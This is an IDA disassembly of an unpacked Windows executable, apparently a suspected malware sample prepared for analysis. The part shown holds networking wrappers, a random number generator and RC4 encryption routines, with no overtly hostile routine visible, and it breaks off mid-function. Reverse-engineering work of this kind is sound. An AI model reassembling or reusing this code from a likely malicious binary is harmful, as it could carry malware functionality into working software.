; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 774BF71432CA6DC7E45504E856AA1866 ; File Name : u:\work\774bf71432ca6dc7e45504e856aa1866_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 00040000 ( 262144.) ; Section size in file : 00040000 ( 262144.) ; Offset to raw data for section: 00001000 ; Flags C0000060: Text Data Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write DMN0 segment para public 'DATA' use32 assume cs:DMN0 ;org 401000h assume es:nothing, ss:nothing, ds:DMN0, fs:nothing, gs:nothing ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_401001 proc near ; CODE XREF: sub_40400E+3Fp ; sub_404967+D1p arg_0 = dword ptr 4 push ebx push esi mov ebx, [esp+8+arg_0] mov esi, [ebx] jmp short loc_401013 ; --------------------------------------------------------------------------- loc_40100B: ; CODE XREF: sub_401001+14j call dword_411CC4 mov esi, eax loc_401013: ; CODE XREF: sub_401001+8j test esi, esi jz short loc_40100B mov eax, esi mov edx, 41C64E6Dh mul edx lea esi, [eax+3039h] mov [ebx], esi cmp dword ptr [ebx], 0 jnz short loc_40102F inc dword ptr [ebx] loc_40102F: ; CODE XREF: sub_401001+2Aj mov eax, esi shr eax, 10h and eax, 7FFFh pop esi pop ebx retn sub_401001 endp ; =============== S U B R O U T I N E ======================================= sub_40103C proc near ; CODE XREF: sub_4067B0+20p push offset dword_41285C call dword_411CC8 retn sub_40103C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401048 proc near ; CODE XREF: sub_40122A+35p ; sub_4019C3+Bp ... arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push offset dword_41285C call dword_411CCC push 1 mov eax, [ebp+arg_0] push eax call sub_406E00 pop ecx pop ecx mov ebx, eax push offset dword_41285C call dword_411CD0 mov eax, ebx pop ebx pop ebp retn sub_401048 endp ; =============== S U B R O U T I N E ======================================= sub_401076 proc near ; CODE XREF: sub_40122A+1Fp ; sub_401A3B+Bp ... arg_0 = dword ptr 4 push offset dword_41285C call dword_411CCC push [esp+arg_0] call sub_4071B0 pop ecx push offset dword_41285C call dword_411CD0 retn sub_401076 endp ; =============== S U B R O U T I N E ======================================= sub_401097 proc near ; CODE XREF: sub_4067B0+2Ap push offset dword_412874 call dword_411CC8 retn sub_401097 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 100h push ebx push esi push edi xor esi, esi cmp dword ptr [ebp+8], 0 jz loc_40115E push 0FFFFFFF5h call dword_411CD4 cmp eax, 0FFFFFFFFh jz loc_40115E push offset dword_412874 call dword_411CCC lea edi, [ebp+0Ch] push edi push dword ptr [ebp+8] push 100h lea eax, [ebp-100h] push eax call sub_407280 add esp, 10h mov ebx, eax cmp ebx, 0FFh jbe short loc_401140 push 1 lea eax, [ebx+80h] push eax call sub_406E00 pop ecx pop ecx mov esi, eax lea edi, [ebp+0Ch] push edi push dword ptr [ebp+8] lea eax, [ebx+1Fh] push eax push esi call sub_407280 add esp, 10h mov ebx, eax push esi push offset aS_0 ; "%s" call sub_407320 pop ecx pop ecx push esi call sub_4071B0 pop ecx jmp short loc_401153 ; --------------------------------------------------------------------------- loc_401140: ; CODE XREF: DMN0:00401100j lea eax, [ebp-100h] push eax push offset aS_0 ; "%s" call sub_407320 pop ecx pop ecx loc_401153: ; CODE XREF: DMN0:0040113Ej push offset dword_412874 call dword_411CD0 loc_40115E: ; CODE XREF: DMN0:004010B6j ; DMN0:004010CCj pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= sub_401165 proc near ; CODE XREF: sub_4067B0+25p push offset dword_41288C call dword_411CC8 retn sub_401165 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 10h push ebx lea eax, [ebp-10h] push eax call dword_411CD8 cmp word ptr [ebp-8], 0Ch jnb short loc_401190 mov ebx, offset aAm ; "AM" jmp short loc_401195 ; --------------------------------------------------------------------------- loc_401190: ; CODE XREF: DMN0:00401187j mov ebx, offset aPm ; "PM" loc_401195: ; CODE XREF: DMN0:0040118Ej push ebx movzx eax, word ptr [ebp-4] push eax movzx eax, word ptr [ebp-6] push eax movzx eax, word ptr [ebp-8] mov ecx, 0Ch cdq idiv ecx push edx movzx eax, word ptr [ebp-10h] mov ecx, 64h cdq idiv ecx push edx movzx eax, word ptr [ebp-0Ah] push eax movzx eax, word ptr [ebp-0Eh] push eax push offset a02i02i02iIIIS ; "%02i/%02i/%02i %i:%i:%i%s" push dword ptr [ebp+8] call sub_407380 add esp, 24h pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp push eax push ebx push offset dword_41288C call dword_411CCC push offset aA ; "a" push dword ptr [ebp+8] call sub_4073C0 pop ecx pop ecx mov ebx, eax test ebx, ebx jz short loc_40121A lea eax, [ebp+10h] mov [ebp-4], eax push dword ptr [ebp-4] push dword ptr [ebp+0Ch] push ebx call sub_407470 add esp, 0Ch push ebx call sub_407620 pop ecx loc_40121A: ; CODE XREF: DMN0:004011FCj push offset dword_41288C call dword_411CD0 pop ebx mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40122A proc near ; CODE XREF: sub_4067B0+4Bp var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 push ebx push esi mov ebx, [ebp+arg_0] jmp short loc_40124F ; --------------------------------------------------------------------------- loc_401237: ; CODE XREF: sub_40122A+2Cj dec dword_411000 mov eax, dword_411000 push dword_4128A4[eax*4] call sub_401076 pop ecx loc_40124F: ; CODE XREF: sub_40122A+Bj cmp dword_411000, 0 jnz short loc_401237 jmp short loc_4012CB ; --------------------------------------------------------------------------- loc_40125A: ; CODE XREF: sub_40122A+ADj push 401h call sub_401048 pop ecx mov edx, dword_411000 mov dword_4128A4[edx*4], eax cmp byte ptr [ebx], 22h jnz short loc_40127E inc ebx mov [ebp+var_1], 22h jmp short loc_401282 ; --------------------------------------------------------------------------- loc_40127E: ; CODE XREF: sub_40122A+4Bj mov [ebp+var_1], 20h loc_401282: ; CODE XREF: sub_40122A+52j and [ebp+var_8], 0 mov eax, dword_411000 lea edx, [eax+1] mov dword_411000, edx mov esi, dword_4128A4[eax*4] jmp short loc_4012A3 ; --------------------------------------------------------------------------- loc_40129D: ; CODE XREF: sub_40122A+8Bj mov al, [ebx] mov [esi], al inc esi inc ebx loc_4012A3: ; CODE XREF: sub_40122A+71j mov al, [ebx] test al, al jz short loc_4012B7 cmp al, [ebp+var_1] jz short loc_4012B7 cmp [ebp+var_8], 400h jl short loc_40129D loc_4012B7: ; CODE XREF: sub_40122A+7Dj ; sub_40122A+82j cmp [ebp+var_1], 22h jnz short loc_4012C6 cmp byte ptr [ebx], 22h jnz short loc_4012C6 inc ebx jmp short loc_4012C6 ; --------------------------------------------------------------------------- loc_4012C5: ; CODE XREF: sub_40122A+9Fj inc ebx loc_4012C6: ; CODE XREF: sub_40122A+91j ; sub_40122A+96j ... cmp byte ptr [ebx], 20h jz short loc_4012C5 loc_4012CB: ; CODE XREF: sub_40122A+2Ej cmp byte ptr [ebx], 0 jz short loc_4012D9 cmp dword_411000, 20h jl short loc_40125A loc_4012D9: ; CODE XREF: sub_40122A+A4j mov eax, dword_411000 and dword_4128A4[eax*4], 0 pop esi pop ebx mov esp, ebp pop ebp retn sub_40122A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4012EC proc near ; CODE XREF: sub_4067B0+256p var_190 = byte ptr -190h push ebp mov ebp, esp sub esp, 190h push ebx push esi mov bx, 2 lea eax, [ebp+var_190] push eax movzx eax, bx push eax call sub_406D6E mov esi, eax test esi, esi jz short loc_40133C mov bx, 101h lea eax, [ebp+var_190] push eax movzx eax, bx push eax call sub_406D6E mov esi, eax test esi, esi jz short loc_40132F xor eax, eax jmp short loc_40134A ; --------------------------------------------------------------------------- loc_40132F: ; CODE XREF: sub_4012EC+3Dj push offset aWinsock1_1Init ; "WinSock 1.1 initialized.\n" call nullsub_2 pop ecx jmp short loc_401347 ; --------------------------------------------------------------------------- loc_40133C: ; CODE XREF: sub_4012EC+23j push offset aWinsock2_xInit ; "WinSock 2.x initialized.\n" call nullsub_2 pop ecx loc_401347: ; CODE XREF: sub_4012EC+4Ej xor eax, eax inc eax loc_40134A: ; CODE XREF: sub_4012EC+41j pop esi pop ebx mov esp, ebp pop ebp retn sub_4012EC endp ; --------------------------------------------------------------------------- call sub_406D74 xor eax, eax inc eax retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401359 proc near ; CODE XREF: sub_402896+BDp ; sub_403C3F+DCp ... var_4 = dword ptr -4 push ebp mov ebp, esp push eax push ebx push 6 push 1 push 2 call sub_406D7A mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_401377 xor eax, eax jmp short loc_4013CD ; --------------------------------------------------------------------------- loc_401377: ; CODE XREF: sub_401359+18j mov [ebp+var_4], 112A880h push 4 lea eax, [ebp+var_4] push eax push 1005h push 0FFFFh push ebx call sub_406D80 mov [ebp+var_4], 112A880h push 4 lea eax, [ebp+var_4] push eax push 1006h push 0FFFFh push ebx call sub_406D80 mov [ebp+var_4], 1 push 4 lea eax, [ebp+var_4] push eax push 8 push 0FFFFh push ebx call sub_406D80 mov eax, ebx loc_4013CD: ; CODE XREF: sub_401359+1Cj pop ebx mov esp, ebp pop ebp retn sub_401359 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push eax push ebx push 6 push 1 push 2 call sub_406D7A mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_4013F0 xor eax, eax jmp short loc_401451 ; --------------------------------------------------------------------------- loc_4013F0: ; CODE XREF: DMN0:004013EAj imul eax, [ebp+0Ch], 3E8h mov [ebp-4], eax push 4 lea eax, [ebp-4] push eax push 1005h push 0FFFFh push ebx call sub_406D80 imul eax, [ebp+8], 3E8h mov [ebp-4], eax push 4 lea eax, [ebp-4] push eax push 1006h push 0FFFFh push ebx call sub_406D80 xor eax, eax cmp dword ptr [ebp+10h], 0 setnz al mov [ebp-4], eax push 4 lea eax, [ebp-4] push eax push 8 push 0FFFFh push ebx call sub_406D80 mov eax, ebx loc_401451: ; CODE XREF: DMN0:004013EEj pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp push eax push ebx mov ebx, [ebp+8] imul eax, [ebp+10h], 3E8h mov [ebp-4], eax push 4 lea eax, [ebp-4] push eax push 1005h push 0FFFFh push ebx call sub_406D80 imul eax, [ebp+0Ch], 3E8h mov [ebp-4], eax push 4 lea eax, [ebp-4] push eax push 1006h push 0FFFFh push ebx call sub_406D80 xor eax, eax cmp dword ptr [ebp+14h], 0 setnz al mov [ebp-4], eax push 4 lea eax, [ebp-4] push eax push 8 push 0FFFFh push ebx call sub_406D80 pop ebx mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= sub_4014C2 proc near ; CODE XREF: sub_4025A9+15Dp ; sub_4025A9+1B4p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_406D86 xor eax, eax inc eax retn sub_4014C2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4014CF proc near ; CODE XREF: sub_4042CD+567p ; sub_4042CD+5E1p var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10Ch push ebx push esi mov ebx, [ebp+arg_0] and [ebp+var_10C], 0 and [ebp+var_108], 0 and [ebp+var_104], 0 cmp [ebp+var_104], 40h jnb short loc_401511 mov eax, [ebp+var_104] lea edx, [eax+1] mov [ebp+var_104], edx mov [ebp+eax*4+var_100], ebx loc_401511: ; CODE XREF: sub_4014CF+2Aj lea eax, [ebp+var_10C] push eax push 0 push 0 lea eax, [ebp+var_104] push eax push 0 call sub_406D8C mov esi, eax cmp eax, 0FFFFFFFFh jz short loc_40153C test esi, esi jnz short loc_401539 xor eax, eax jmp short loc_40153C ; --------------------------------------------------------------------------- loc_401539: ; CODE XREF: sub_4014CF+64j xor eax, eax inc eax loc_40153C: ; CODE XREF: sub_4014CF+60j ; sub_4014CF+68j pop esi pop ebx mov esp, ebp pop ebp retn sub_4014CF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401542 proc near ; CODE XREF: sub_402562+13p ; sub_4025A9+1F5p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push eax push ebx lea eax, [ebp+var_4] push eax push 4004667Fh push [ebp+arg_0] call sub_406D92 mov ebx, eax cmp eax, 0FFFFFFFFh jz short loc_401562 mov eax, [ebp+var_4] loc_401562: ; CODE XREF: sub_401542+1Bj pop ebx mov esp, ebp pop ebp retn sub_401542 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401567 proc near ; CODE XREF: sub_4025A9+14Ep ; sub_402896+DBp ... var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = word ptr 10h push ebp mov ebp, esp sub esp, 10h push ebx push 10h push 0 lea eax, [ebp+var_10] push eax call sub_407690 add esp, 0Ch mov [ebp+var_10], 2 mov eax, [ebp+arg_4] mov [ebp+var_C], eax movzx eax, [ebp+arg_8] push eax call sub_406D98 mov [ebp+var_E], ax lea ebx, [ebp+var_10] push 10h push ebx push [ebp+arg_0] call sub_406D9E cmp eax, 0FFFFFFFFh jnz short loc_4015AF xor eax, eax jmp short loc_4015B2 ; --------------------------------------------------------------------------- loc_4015AF: ; CODE XREF: sub_401567+42j xor eax, eax inc eax loc_4015B2: ; CODE XREF: sub_401567+46j pop ebx mov esp, ebp pop ebp retn sub_401567 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4015B7 proc near ; CODE XREF: sub_404967+110p ; sub_405DB5+2Bp var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = word ptr 10h push ebp mov ebp, esp sub esp, 10h push ebx push 10h push 0 lea eax, [ebp+var_10] push eax call sub_407690 add esp, 0Ch mov [ebp+var_10], 2 mov eax, [ebp+arg_4] mov [ebp+var_C], eax movzx eax, [ebp+arg_8] push eax call sub_406D98 mov [ebp+var_E], ax lea ebx, [ebp+var_10] push 10h push ebx push [ebp+arg_0] call sub_406DA4 cmp eax, 0FFFFFFFFh jnz short loc_4015FF xor eax, eax jmp short loc_401602 ; --------------------------------------------------------------------------- loc_4015FF: ; CODE XREF: sub_4015B7+42j xor eax, eax inc eax loc_401602: ; CODE XREF: sub_4015B7+46j pop ebx mov esp, ebp pop ebp retn sub_4015B7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401607 proc near ; CODE XREF: sub_404967+290p ; sub_405DB5+48p arg_0 = dword ptr 8 push ebp mov ebp, esp push 5 push [ebp+arg_0] call sub_406DAA test eax, eax jge short loc_40161C xor eax, eax jmp short loc_40161F ; --------------------------------------------------------------------------- loc_40161C: ; CODE XREF: sub_401607+Fj xor eax, eax inc eax loc_40161F: ; CODE XREF: sub_401607+13j pop ebp retn sub_401607 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401621 proc near ; CODE XREF: sub_405DB5+63p var_14 = dword ptr -14h var_10 = word ptr -10h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push ebx push esi push 10h push 0 lea eax, [ebp+var_10] push eax call sub_407690 add esp, 0Ch mov [ebp+var_10], 2 mov [ebp+var_14], 10h lea esi, [ebp+var_10] lea eax, [ebp+var_14] push eax push esi push [ebp+arg_0] call sub_406DB0 mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_401664 xor eax, eax jmp short loc_401666 ; --------------------------------------------------------------------------- loc_401664: ; CODE XREF: sub_401621+3Dj mov eax, ebx loc_401666: ; CODE XREF: sub_401621+41j pop esi pop ebx mov esp, ebp pop ebp retn sub_401621 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40166C proc near ; CODE XREF: sub_404967+2A8p var_14 = dword ptr -14h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi mov ebx, [ebp+arg_8] mov edx, [ebp+arg_4] and dword ptr [edx], 0 mov word ptr [ebx], 0 push 10h push 0 lea eax, [ebp+var_10] push eax call sub_407690 add esp, 0Ch mov [ebp+var_10], 2 mov [ebp+var_14], 10h lea edi, [ebp+var_10] lea eax, [ebp+var_14] push eax push edi push [ebp+arg_0] call sub_406DB0 mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_4016BE xor eax, eax jmp short loc_4016D5 ; --------------------------------------------------------------------------- loc_4016BE: ; CODE XREF: sub_40166C+4Cj mov edx, [ebp+arg_4] mov eax, [ebp+var_C] mov [edx], eax movzx eax, [ebp+var_E] push eax call sub_406DB6 mov [ebx], ax mov eax, esi loc_4016D5: ; CODE XREF: sub_40166C+50j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_40166C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4016DC proc near ; CODE XREF: sub_401BAC+44p ; sub_401BAC+A3p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi mov ebx, [ebp+arg_4] mov edi, [ebp+arg_8] jmp short loc_401707 ; --------------------------------------------------------------------------- loc_4016EA: ; CODE XREF: sub_4016DC+2Dj push 0 push [ebp+arg_8] push ebx push [ebp+arg_0] call sub_406DBC mov esi, eax test esi, esi jg short loc_401703 or eax, 0FFFFFFFFh jmp short loc_40170E ; --------------------------------------------------------------------------- loc_401703: ; CODE XREF: sub_4016DC+20j sub edi, esi add ebx, esi loc_401707: ; CODE XREF: sub_4016DC+Cj test edi, edi jg short loc_4016EA mov eax, [ebp+arg_8] loc_40170E: ; CODE XREF: sub_4016DC+25j pop edi pop esi pop ebx pop ebp retn sub_4016DC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401713 proc near ; CODE XREF: sub_4025A9+1E3p ; sub_402896+149p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi mov ebx, [ebp+arg_8] mov edi, ebx xor ebx, ebx jmp short loc_401742 ; --------------------------------------------------------------------------- loc_401722: ; CODE XREF: sub_401713+31j push 0 push ebx push [ebp+arg_4] push [ebp+arg_0] call sub_406DBC mov esi, eax test esi, esi jle short loc_401746 sub edi, esi mov eax, [ebp+arg_4] add eax, esi mov [ebp+arg_4], eax add ebx, esi loc_401742: ; CODE XREF: sub_401713+Dj test edi, edi jg short loc_401722 loc_401746: ; CODE XREF: sub_401713+21j mov eax, ebx pop edi pop esi pop ebx pop ebp retn sub_401713 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx push esi push edi mov ebx, [ebp+10h] mov edi, ebx xor ebx, ebx jmp short loc_40177C ; --------------------------------------------------------------------------- loc_40175C: ; CODE XREF: DMN0:0040177Ej push 0 push ebx push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_406DBC mov esi, eax test esi, esi jle short loc_401780 sub edi, esi mov eax, [ebp+0Ch] add eax, esi mov [ebp+0Ch], eax add ebx, esi loc_40177C: ; CODE XREF: DMN0:0040175Aj test edi, edi jg short loc_40175C loc_401780: ; CODE XREF: DMN0:0040176Ej mov eax, ebx pop edi pop esi pop ebx pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401787 proc near ; CODE XREF: sub_401ADA+97p ; sub_4025A9+1A4p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi mov ebx, [ebp+arg_4] mov edi, [ebp+arg_8] jmp short loc_4017B2 ; --------------------------------------------------------------------------- loc_401795: ; CODE XREF: sub_401787+2Dj push 0 push [ebp+arg_8] push ebx push [ebp+arg_0] call sub_406DC2 mov esi, eax test esi, esi jg short loc_4017AE or eax, 0FFFFFFFFh jmp short loc_4017B9 ; --------------------------------------------------------------------------- loc_4017AE: ; CODE XREF: sub_401787+20j sub edi, esi add ebx, esi loc_4017B2: ; CODE XREF: sub_401787+Cj test edi, edi jg short loc_401795 mov eax, [ebp+arg_8] loc_4017B9: ; CODE XREF: sub_401787+25j pop edi pop esi pop ebx pop ebp retn sub_401787 endp ; =============== S U B R O U T I N E ======================================= sub_4017BE proc near ; CODE XREF: DMN0:00401882p ; sub_403C3F+30p ... arg_0 = dword ptr 4 push ebx push esi xor esi, esi push [esp+8+arg_0] call sub_406DC8 mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_4017F2 push [esp+8+arg_0] call sub_406DCE mov esi, eax test esi, esi jnz short loc_4017E9 or eax, 0FFFFFFFFh jmp short loc_4017F4 ; --------------------------------------------------------------------------- loc_4017E9: ; CODE XREF: sub_4017BE+24j mov eax, [esi+0Ch] mov eax, [eax] mov eax, [eax] jmp short loc_4017F4 ; --------------------------------------------------------------------------- loc_4017F2: ; CODE XREF: sub_4017BE+15j mov eax, ebx loc_4017F4: ; CODE XREF: sub_4017BE+29j ; sub_4017BE+32j pop esi pop ebx retn sub_4017BE endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 14h push ebx push esi push 10h push 0 lea eax, [ebp-10h] push eax call sub_407690 add esp, 0Ch mov word ptr [ebp-10h], 2 mov dword ptr [ebp-14h], 10h lea ebx, [ebp-10h] lea eax, [ebp-14h] push eax push ebx push dword ptr [ebp+8] call sub_406DD4 mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_401837 xor eax, eax jmp short loc_401852 ; --------------------------------------------------------------------------- loc_401837: ; CODE XREF: DMN0:00401831j mov edx, [ebp+0Ch] mov eax, [ebp-0Ch] mov [edx], eax movzx eax, word ptr [ebp-0Eh] push eax call sub_406DB6 mov edx, [ebp+10h] mov [edx], ax xor eax, eax inc eax loc_401852: ; CODE XREF: DMN0:00401835j pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 404h push ebx push esi mov byte ptr [ebp-400h], 0 push 400h lea eax, [ebp-400h] push eax call sub_406DDA lea eax, [ebp-400h] push eax call sub_4017BE pop ecx mov ebx, eax mov [ebp-404h], ebx mov eax, [ebp-404h] push eax call sub_406DE0 mov esi, eax push esi lea eax, [ebp-400h] push eax push offset aSIsS ; "%s is %s\n" call nullsub_2 add esp, 0Ch mov eax, ebx pop esi pop ebx mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4018BB proc near ; CODE XREF: sub_401A55+14p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov edx, [ebp+arg_0] and dword ptr [edx+400h], 0 mov edx, [ebp+arg_0] and dword ptr [edx+404h], 0 mov ebx, [ebp+arg_0] xor ecx, ecx loc_4018DD: ; CODE XREF: sub_4018BB+2Cj mov [ebx+ecx*4], ecx inc ecx cmp ecx, 100h jl short loc_4018DD and [ebp+var_8], 0 xor edi, edi xor ecx, ecx loc_4018F1: ; CODE XREF: sub_4018BB+77j lea eax, [ebx+ecx*4] mov [ebp+var_C], eax mov edx, [eax] mov [ebp+var_4], edx add edx, edi mov esi, [ebp+var_8] mov eax, [ebp+arg_4] movsx eax, byte ptr [eax+esi] add eax, edx movzx edi, al mov eax, [ebx+edi*4] mov edx, [ebp+var_C] mov [edx], eax mov eax, [ebp+var_4] mov [ebx+edi*4], eax mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax cmp eax, [ebp+arg_8] jl short loc_40192B and [ebp+var_8], 0 loc_40192B: ; CODE XREF: sub_4018BB+6Aj inc ecx cmp ecx, 100h jl short loc_4018F1 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4018BB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40193B proc near ; CODE XREF: sub_401ADA+86p ; sub_401BAC+71p ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h push ebx push esi push edi mov eax, [ebp+arg_0] mov ebx, [eax+400h] mov edi, [eax+404h] mov ecx, eax and [ebp+var_8], 0 jmp short loc_4019A2 ; --------------------------------------------------------------------------- loc_40195B: ; CODE XREF: sub_40193B+6Dj lea eax, [ebx+1] movzx ebx, al lea eax, [ecx+ebx*4] mov edx, [eax] mov [ebp+var_4], edx add edx, edi movzx edi, dl mov edx, [ecx+edi*4] mov [ebp+var_C], edx mov [eax], edx mov eax, [ebp+var_4] mov [ecx+edi*4], eax mov eax, [ebp+var_8] mov edx, [ebp+arg_4] add eax, edx mov [ebp+var_10], eax movsx edx, byte ptr [eax] mov esi, [ebp+var_4] mov eax, [ebp+var_C] add eax, esi movzx eax, al xor edx, [ecx+eax*4] mov al, dl mov edx, [ebp+var_10] mov [edx], al inc [ebp+var_8] loc_4019A2: ; CODE XREF: sub_40193B+1Ej mov eax, [ebp+arg_8] cmp [ebp+var_8], eax jl short loc_40195B mov edx, [ebp+arg_0] mov [edx+400h], ebx mov edx, [ebp+arg_0] mov [edx+404h], edi pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_40193B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4019C3 proc near ; CODE XREF: sub_403C3F+EFp var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp push eax push ebx push esi push 474h call sub_401048 pop ecx mov esi, eax push 10020h call sub_401048 pop ecx mov [esi+46Ch], eax mov [ebp+var_1], 5Ah xor ebx, ebx loc_4019ED: ; CODE XREF: sub_4019C3+3Fj mov al, [ebp+var_1] mov [esi+ebx+4], al movsx eax, [ebp+var_1] lea eax, [ebx+eax*2] mov [ebp+var_1], al inc ebx cmp ebx, 40h jl short loc_4019ED mov [ebp+var_1], 0A5h xor ebx, ebx loc_401A0A: ; CODE XREF: sub_4019C3+5Dj mov al, [ebp+var_1] mov [esi+ebx+44h], al movsx eax, [ebp+var_1] add eax, eax sub eax, ebx mov [ebp+var_1], al inc ebx cmp ebx, 20h jl short loc_401A0A mov eax, [ebp+arg_0] mov [esi], eax mov eax, [esi+46Ch] mov [esi+470h], eax mov eax, esi pop esi pop ebx mov esp, ebp pop ebp retn sub_4019C3 endp ; =============== S U B R O U T I N E ======================================= sub_401A3B proc near ; CODE XREF: sub_403C3F+37Fp arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] push dword ptr [ebx+46Ch] call sub_401076 pop ecx push ebx call sub_401076 pop ecx pop ebx retn sub_401A3B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401A55 proc near ; CODE XREF: sub_401ADA+27p ; sub_401BAC+36p var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp push eax push ebx push esi push edi mov ebx, [ebp+arg_0] push 40h lea eax, [ebx+4] push eax lea eax, [ebx+64h] push eax call sub_4018BB add esp, 0Ch mov al, [ebx+4] mov [ebp+var_1], al push 3Fh lea eax, [ebx+5] push eax lea eax, [ebx+4] push eax call sub_4076F0 add esp, 0Ch mov al, [ebp+var_1] mov [ebx+43h], al xor esi, esi xor edi, edi jmp short loc_401AAD ; --------------------------------------------------------------------------- loc_401A95: ; CODE XREF: sub_401A55+5Bj lea eax, [ebx+esi+4] mov dl, [ebx+edi+44h] add [eax], dl lea eax, [edi+1] mov ecx, 20h cdq idiv ecx mov edi, edx inc esi loc_401AAD: ; CODE XREF: sub_401A55+3Ej cmp esi, 40h jl short loc_401A95 mov al, [ebx+63h] mov [ebp+var_1], al mov esi, 1Fh loc_401ABD: ; CODE XREF: sub_401A55+76j lea eax, [esi-1] mov al, [ebx+eax+44h] mov [ebx+esi+44h], al dec esi test esi, esi jg short loc_401ABD mov al, [ebp+var_1] mov [ebx+44h], al pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_401A55 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401ADA proc near ; CODE XREF: sub_401B8F+13p ; sub_401D76+8Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = word ptr 0Ch arg_8 = dword ptr 10h 